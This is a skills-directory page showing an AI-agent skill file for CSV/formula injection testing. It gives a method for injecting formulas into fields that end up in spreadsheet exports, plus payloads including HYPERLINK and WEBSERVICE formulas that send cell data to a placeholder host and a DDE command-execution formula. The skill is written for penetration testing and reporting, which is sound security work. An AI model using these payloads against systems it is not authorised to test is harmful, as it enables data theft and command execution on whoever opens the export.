CSV / formula injection — malicious spreadsheet formulas injected via app inputs that are later exported to CSV/XLSX and opened in Excel/Sheets/LibreOffice, enabling data exfiltration, command execution (DDE), or link-based phishing on the victim's machine. Tier 1 (client-side impact). Use for any field that ends up in a user/admin CSV/Excel export.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Csv Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-csv-injection)
---
name: csv-injection
description: CSV / formula injection — malicious spreadsheet formulas injected via app inputs that are later exported to CSV/XLSX and opened in Excel/Sheets/LibreOffice, enabling data exfiltration, command execution (DDE), or link-based phishing on the victim's machine. Tier 1 (client-side impact). Use for any field that ends up in a user/admin CSV/Excel export.
---
# CSV / Formula Injection
Input that becomes a spreadsheet cell can execute as a formula when the export is opened — impact lands on whoever opens it (often an admin).
## Trigger phrases
`csv injection, formula injection, excel injection, dde, spreadsheet export abuse`
## Method
1. Inject into fields that appear in exports (name, address, notes, usernames): start with a formula trigger `=`, `+`, `-`, `@`, or `\t`/`\r`.
2. Payloads:
```
=1+1 (proves evaluation)
=HYPERLINK("//oob.example/?"&A1,"click") (data exfil / phishing link)
=cmd|'/c calc'!A0 (legacy DDE command exec in Excel)
=WEBSERVICE("http://oob.example/"&CONCAT(A1:A9)) (exfil)
```
3. Confirm by exporting and opening the file (note modern Excel/Sheets prompt before executing — report as requiring one click).
## Escalation
Exfil of other cells to an attacker server, command execution via DDE (older/unpatched Excel), phishing from a trusted document — highest when an admin opens the export.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
The injected field, the generated export cell, and the executed/exfil behavior (note any user-prompt gate).